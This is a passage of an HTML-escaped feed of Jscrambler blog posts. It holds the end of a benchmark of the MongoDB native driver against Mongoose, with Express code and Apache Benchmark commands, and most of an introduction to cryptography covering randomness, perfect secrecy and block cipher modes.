  &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;native&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;nativeApp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;db&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;collection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;native&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This &lt;code&gt;use&lt;/code&gt; function is middleware in Express. Remember this intercepts &lt;em&gt;every request&lt;/em&gt; and hooks the database to the &lt;code&gt;req&lt;/code&gt; object.&lt;/p&gt;

&lt;p&gt;For Mongoose, we have similar middleware that does this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;mongooseApp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;use&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;mongoose&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;mongooseConn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Mongoose&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Schema&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;number&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;lastUpdated&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;mongoose&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
  &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note the use of a &lt;code&gt;Schema&lt;/code&gt; that defines individual fields in the collection. If you’re coming from SQL, think of a table as a collection and a column as a field.&lt;/p&gt;

&lt;p&gt;The POST endpoint for Mongoose looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;mongooseApp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mongoose&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;create&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;number&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;lastUpdated&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Location&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;201&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This endpoint uses the REST style HTTP status code of 201 to respond with the new resource. It is also a good idea to set a &lt;code&gt;Location&lt;/code&gt; header with the URL and an id. This makes subsequent requests to this document easier to find.&lt;/p&gt;

&lt;p&gt;To eliminate MongoDB completely from these benchmarks, be sure to set the &lt;code&gt;poolSize&lt;/code&gt; to 1 in the connection object. This makes the database less efficient but puts more pressure on the API itself. The goal is not to benchmark the database, but the API, and use different strategies in the data layer.&lt;/p&gt;

&lt;p&gt;To fire requests to this API, use CURL and a separate port for each strategy:&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;```shell script&lt;br&gt;
curl -i -H "Content-Type:application/json" -d "{\"number\":42}" &lt;a href="http://localhost:3001/"&gt;http://localhost:3001/&lt;/a&gt;&lt;br&gt;
curl -i -H "Content-Type:application/json" -d "{\"number\":42}" &lt;a href="http://localhost:3002/"&gt;http://localhost:3002/&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;


From this point forward, assume port `3001` has the native driver strategy. Port `3002` is for the Mongoose data access strategy.

## Read Performance

The native driver has the following GET endpoint:



```javascript
nativeApp.get('/:id', async (req, res) =&amp;gt; {
  const doc = await req.db.native.findOne({_id: new ObjectId(req.params.id)})
  res.send(doc)
})
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;For Mongoose, this gets a single document:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;mongooseApp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/:id&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;doc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mongoose&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;findById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;lean&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note the code in Mongoose is easier to work with. We put &lt;code&gt;lean&lt;/code&gt; at the end of the query to make this as efficient as possible. This prevents Mongoose from hydrating the entire object model since it does not need this functionality. To get a good performance measurement, try benchmarking with and without the lean option in the query.&lt;/p&gt;

&lt;p&gt;To fire requests to both endpoints in Apache Benchmark:&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;```shell script&lt;br&gt;
ab -n 150 -c 4 -H "Content-Type:application/json" &lt;a href="http://localhost:3001/5fa548f96a69652a4c80e70d"&gt;http://localhost:3001/5fa548f96a69652a4c80e70d&lt;/a&gt;&lt;br&gt;
ab -n 150 -c 4 -H "Content-Type:application/json" &lt;a href="http://localhost:3002/5fa5492d6a69652a4c80e70e"&gt;http://localhost:3002/5fa5492d6a69652a4c80e70e&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;


A couple of `ab` arguments to note: the `-n` parameter is the number of requests and `-c` is the number of concurrent requests. On a decent size developer box, you will find that it has around 8 logical cores. Setting the concurrent count to 4 chews up half the cores and frees up resources for the API, database, and other programs. Setting this concurrent count to a high number means it is benchmarking the async scheduler in the CPU, so results might be inconclusive.

## Write Performance

For Mongoose, create a PUT endpoint that updates a single document:



```javascript
mongooseApp.put('/:id', async (req, res) =&amp;gt; {
  const { number } = req.body
  const data = await req.db.mongoose.findById(req.params.id)
  data.number = number
  data.lastUpdated = new Date()
  res.send(await data.save())
})
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The native driver can do this succinctly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;nativeApp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/:id&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;number&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;native&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;findOneAndUpdate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;ObjectId&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;$set&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;number&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;number&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="na"&gt;$currentDate&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;lastUpdated&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;}},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;returnOriginal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Mongoose has a similar &lt;code&gt;findOneAndUpdate&lt;/code&gt; method that is less expensive but also has fewer features. When doing benchmarks, it is better to stick to worse case scenarios. This means including all the features available to make a more informed decision. Doing a &lt;code&gt;find&lt;/code&gt; then a &lt;code&gt;save&lt;/code&gt; in Mongoose comes with change tracking and other &lt;a href="https://masteringjs.io/tutorials/mongoose/update"&gt;desirable features&lt;/a&gt; that are not available in the native driver.&lt;/p&gt;

&lt;p&gt;To benchmark these endpoints in Apache Benchmark:&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;```shell script&lt;br&gt;
ab -n 150 -c 4 -T "application/json" -u .putdata &lt;a href="http://localhost:3001/5fa548f96a69652a4c80e70d"&gt;http://localhost:3001/5fa548f96a69652a4c80e70d&lt;/a&gt;&lt;br&gt;
ab -n 150 -c 4 -T "application/json" -u .putdata &lt;a href="http://localhost:3002/5fa5492d6a69652a4c80e70e"&gt;http://localhost:3002/5fa5492d6a69652a4c80e70e&lt;/a&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;


Be sure to create a `.putdata` file with the following:



```json
{"number":42}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both endpoints update a timestamp &lt;code&gt;lastUpdate&lt;/code&gt; field in the document. This is to bust any Mongoose/MongoDB cache that optimizes performance. This forces the database and data access layer to do actual work.&lt;/p&gt;

&lt;h2&gt;
  
  
  Results and Conclusion
&lt;/h2&gt;

&lt;p&gt;Drumroll please, below are the results:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;READS&lt;/th&gt;
&lt;th&gt;Native&lt;/th&gt;
&lt;th&gt;Mongoose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Throughput&lt;/td&gt;
&lt;td&gt;1200 #/sec&lt;/td&gt;
&lt;td&gt;583 #/sec&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Avg Request&lt;/td&gt;
&lt;td&gt;0.83 ms&lt;/td&gt;
&lt;td&gt;1.71 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;WRITES&lt;/th&gt;
&lt;th&gt;Native&lt;/th&gt;
&lt;th&gt;Mongoose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Throughput&lt;/td&gt;
&lt;td&gt;1128 #/sec&lt;/td&gt;
&lt;td&gt;384 #/sec&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Avg Request&lt;/td&gt;
&lt;td&gt;0.89 ms&lt;/td&gt;
&lt;td&gt;2.60 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Overall, the native driver is around 2x faster than Mongoose. Because the native driver uses &lt;code&gt;findOneAndUpdate&lt;/code&gt;, read and write results are identical. The &lt;code&gt;findOneAndUpdate&lt;/code&gt; in Mongoose performs identical to &lt;code&gt;findById&lt;/code&gt; with the &lt;code&gt;lean&lt;/code&gt; option. Mongoose takes a slight ding with &lt;code&gt;save&lt;/code&gt; but this comes with more features. Getting rid of the &lt;code&gt;lean&lt;/code&gt; to prevent hydration does not make a difference because the document object is small.&lt;/p&gt;

&lt;p&gt;With these results, one takeaway is to be mindful of performance when choosing to use Mongoose. There is no real reason to exclude the native driver from Mongoose because they are also useful in unison. For performance-sensitive code, it is best to use the native driver. For feature-rich endpoints that are less performant, it is okay to use Mongoose.&lt;/p&gt;




&lt;p&gt;Originally published on the &lt;a href="https://blog.jscrambler.com/mongodb-native-driver-vs-mongoose-performance-benchmarks/?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=mongodb-native-vs-mongoose"&gt;Jscrambler Blog&lt;/a&gt; by &lt;a href="https://blog.jscrambler.com/author/camilo-reyes?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=mongodb-native-vs-mongoose"&gt;Camilo Reyes&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>mongodb</category>
      <category>node</category>
      <category>javascript</category>
      <category>devops</category>
    </item>
    <item>
      <title>Cryptography Introduction: Block Ciphers</title>
      <dc:creator>Jscrambler</dc:creator>
      <pubDate>Mon, 14 Sep 2020 11:20:27 +0000</pubDate>
      <link>https://forem.com/jscrambler/cryptography-introduction-block-ciphers-27n2</link>
      <guid>https://forem.com/jscrambler/cryptography-introduction-block-ciphers-27n2</guid>
      <description>&lt;p&gt;Before we dive deep into what symmetric ciphers are and how important they are in our daily lives, there are two theoretical concepts that need to be reviewed to better understand them: (Pseudo)random Number Generators and Perfect Secrecy.&lt;/p&gt;

&lt;h2&gt;
  
  
  Random Numbers
&lt;/h2&gt;

&lt;p&gt;Most of the cryptographic algorithms have their roots in mathematical operations performed over the data we are trying to hide from unauthorized eyes. As such, it is only logical to add random noise to help and increase the confusion created by the cryptographic algorithms.&lt;/p&gt;

&lt;p&gt;But not any kind of noise is acceptable to be used in cryptography. It has to be secure and truly random because otherwise, it would be easy for an attacker to replicate the process and more easily decrypt your protected data. The main problem is that computers are deterministic in nature and incapable of producing truly random values on their own.&lt;/p&gt;

&lt;p&gt;A place where the generation of random values can be observed is in a casino.&lt;/p&gt;

&lt;p&gt;Flipping coins, rolling dice, or playing in the roulette are good examples of true randomness (if none of the items have been tampered with), as it is theoretically impossible to predict the results of those actions with 100% accuracy. However, this solution is too slow for modern cryptography, where sometimes it is necessary to generate thousands of random numbers quickly.&lt;/p&gt;

&lt;p&gt;Another way of generating random values for physical properties is through the use of special hardware that measures thermal or electric noise. These types of hardware gather information over a small period of time and, once enough entropy has been generated, they are able to produce random values that are theoretically unpredictable by an attacker. The downside of this method is that it can also take a while to gather enough entropy and, as such, delay the cryptographic protocol from executing.&lt;/p&gt;

&lt;p&gt;The other option to produce secure random numbers is through the use of Pseudo-Random Number Generators. These are computational and deterministic algorithms that can produce long sequences of apparently random numbers from a smaller value (often called seed or key). To be considered a pseudorandom generator, the algorithm should produce outputs indistinguishable from a uniform distribution when observed by statistical tests.&lt;/p&gt;

&lt;h2&gt;
  
  
  Perfect Secrecy
&lt;/h2&gt;

&lt;p&gt;Claude Elwood Shannon was an American mathematician, electrical engineer, and cryptographer known as "the father of information theory". In 1945, he wrote a paper on Communication Theory of Secrecy Systems (that was only declassified in 1949), which is often used as the basis for theoretical cryptography. In this paper, he defines the concept of theoretically unbreakable ciphers as well as the concepts of confusion and diffusion.&lt;/p&gt;

&lt;p&gt;In cryptography, confusion refers to making the relationship between ciphertext and the symmetric key as complex as possible. Diffusion is used to dissipate the statistical structure of plaintext over the bulk of ciphertext. What this means is that a single bit change on the plaintext should at least change half of the resulting ciphertext. Both these concepts are usually implemented with the use of substitutions and permutations, where substitutions increase the confusion of the cipher, deterministically changing some components, whilst permutations manipulate the order bits are represented in the final result. Both these steps are usually applied over several rounds - like it will be seen later in this post.&lt;/p&gt;

&lt;p&gt;The term “perfect secrecy” is applied to encryption algorithms where there is no information that can correlate any particular ciphertext to the key used or the original plaintext. What this means is that the ciphertext can not be broken by any type of cryptanalysis as there is an equal probability of a given key being used to encrypt a plaintext message to a given ciphertext. However, in the literature, this is only possible in situations where the key is at least the same size as the plaintext message.&lt;/p&gt;

&lt;p&gt;A technique that is used as a demonstration of this concept is the One-time pad. By generating a &lt;strong&gt;truly&lt;/strong&gt; random key, at least as long as the message, never reusing it and always keeping it a secret between the two people communicating, it can then be used either as a modular addition or a bitwise XOR operation with the plaintext to create a perfectly secure ciphertext.&lt;/p&gt;

&lt;p&gt;Since the early 1900s and until around the ‘80s, when computers became easier to manufacture and use, this method was often used across nations for secure communications, including the hotline between Moscow and Washington D.C. during the Cold War. These systems used two equal and long key tapes, one at each end of the communication, that were synchronized and used as messages were either sent or received. &lt;/p&gt;

&lt;p&gt;However, this system is impractical for day-to-day usage. As such, simpler algorithms that make use of pseudorandom generators are needed - such is the case of Block Ciphers.&lt;/p&gt;

&lt;h2&gt;
  
  
  Block Ciphers
&lt;/h2&gt;

&lt;p&gt;Unlike stream ciphers that are applied continuously bit by bit, block ciphers, like the name implies, are applied on a fixed-length bit block - which, for the example of AES, is 128 bits long. &lt;/p&gt;

&lt;p&gt;Block ciphers are deterministic algorithms - so, for a specific key and input data block, the resulting block will always be the same. They are a secure way to protect a single block of data but, since we usually want to protect more information than just 128 bits, it is recommended to use cryptographic protocols that are built on top of this construction to increase the security of the information.&lt;/p&gt;

&lt;h2&gt;
  
  
  Block Cipher Modes of Operation
&lt;/h2&gt;

&lt;p&gt;When discussing block ciphers, it is important to understand the different block cipher modes of operation. Block cipher modes are the overlaying algorithm that reuses the block ciphers constructions to encrypt multiple blocks of data with the same key, without compromising its security.&lt;/p&gt;

&lt;p&gt;The first block cipher mode we are going to discuss is &lt;strong&gt;Electronic Codebook (ECB)&lt;/strong&gt; mode. It is often mentioned as an example of what &lt;strong&gt;not&lt;/strong&gt; to do when using block ciphers. The ECB mode applies the underlying block cipher algorithm over each block of data without any alteration to it or to the used key. As a result, if two blocks of the original data are the same, the same two blocks will be equal in terms of the encrypted version. Even if attackers can't decrypt the contents of the message, the knowledge that some blocks are equal to others might already give them insights on what the original message could be based on its context.&lt;/p&gt;

&lt;p&gt;A better option is the &lt;strong&gt;Cipher Block Chaining mode (CBC)&lt;/strong&gt; mode, which adds an extra operation before applying the block cipher algorithm. So, before applying the block cipher algorithm to a block of plaintext, a bitwise XOR operation is performed with the current block’s plaintext and last block's resulting ciphertext. In the case of the first block, a random block of data is used, which is often called an Initialization Vector (IV). There are two consequences of this extra operation - first, reusing the same key to encrypt two equal messages will produce two entirely different ciphertexts when using different IVs; second, even if two blocks on the same message are equal, their ciphered version won’t be since they will be mixed with different values before being encrypted. Also, a single bit difference on a block is propagated to all the following blocks, creating even more confusion when trying to compare two different messages. Because each block needs the result of the previous block, the encryption process is not parallelizable. However, the reverse process of decryption does not have such requirements, so multiple blocks can be decrypted at the same time. It is also possible to simply decrypt some blocks and not all of them for quick access to some information. &lt;/p&gt;

&lt;p&gt;The CBC mode can also be reused to create a message authentication code (MAC). Instead of using a randomly generated IV, a 0 IV is used and the last block in the encryption process is used as the MAC. Any bit change on the message will result in a completely different MAC since every change is propagated until the last block. Even though it is tempting, it is not advisable to try and just execute a CBC algorithm once and keep the last block as MAC. It is always advisable to keep both operations separated and to use different cryptographic keys for each process.&lt;/p&gt;

&lt;p&gt;A similar solution to CBC is the &lt;strong&gt;Cipher Feedback mode (CFB)&lt;/strong&gt;, which also uses an IV and the XOR operation over the plaintext, but this time after the block cipher algorithm. In this mode, the IV (for the first block) or the previous block (remaining blocks) is encrypted with the block cipher algorithm and its result is then mixed with the plaintext block. The restrictions and advantages over the encryption and decryption processes are the same as in CBC mode.&lt;/p&gt;

&lt;p&gt;An alternative mode to CFB is the &lt;strong&gt;Output feedback mode (OFB)&lt;/strong&gt; which, instead of using the ciphertext of the previous block in the current block’s encryption, uses the output of the block cipher applied to the IV of the previous block. The downside of this change is that the decryption process can no longer be parallelized.&lt;/p&gt;

&lt;p&gt;The last mode we are going to discuss is the &lt;strong&gt;Counter mode (CTR)&lt;/strong&gt;. It is also one of the most used modes for block ciphers for both its security and performance properties. It is a mixture of ECB and OFB modes, working with the advantages of both. Like ECB, each block is independent so blocks can be encrypted, decrypted, and changed separately from each other, which facilitates its parallelizability. However, each block is not encrypted directly with the block cipher algorithm. Like in OFB, the plaintext block is XORed with the result of applying the block cipher to an IV block. The difference is that, in CTR mode, this block is not the result of the previous iteration. Instead, it is a block where the 64 first bits are a random nonce, shared across all blocks in the same message, and 64 bits of "counter". This counter portion can literally be a counter where, for each block, its value is increased by one; or it can be the result of a function that produces a sequence of results that do not repeat over a long time.&lt;/p&gt;

&lt;h3&gt;
  
  
  AES
&lt;/h3&gt;

&lt;p&gt;Several block cipher algorithms have been created and used over the last few decades. Currently, the &lt;strong&gt;Advanced Encryption Standard (AES)&lt;/strong&gt; is viewed as the standard in secure symmetric cryptography.&lt;/p&gt;

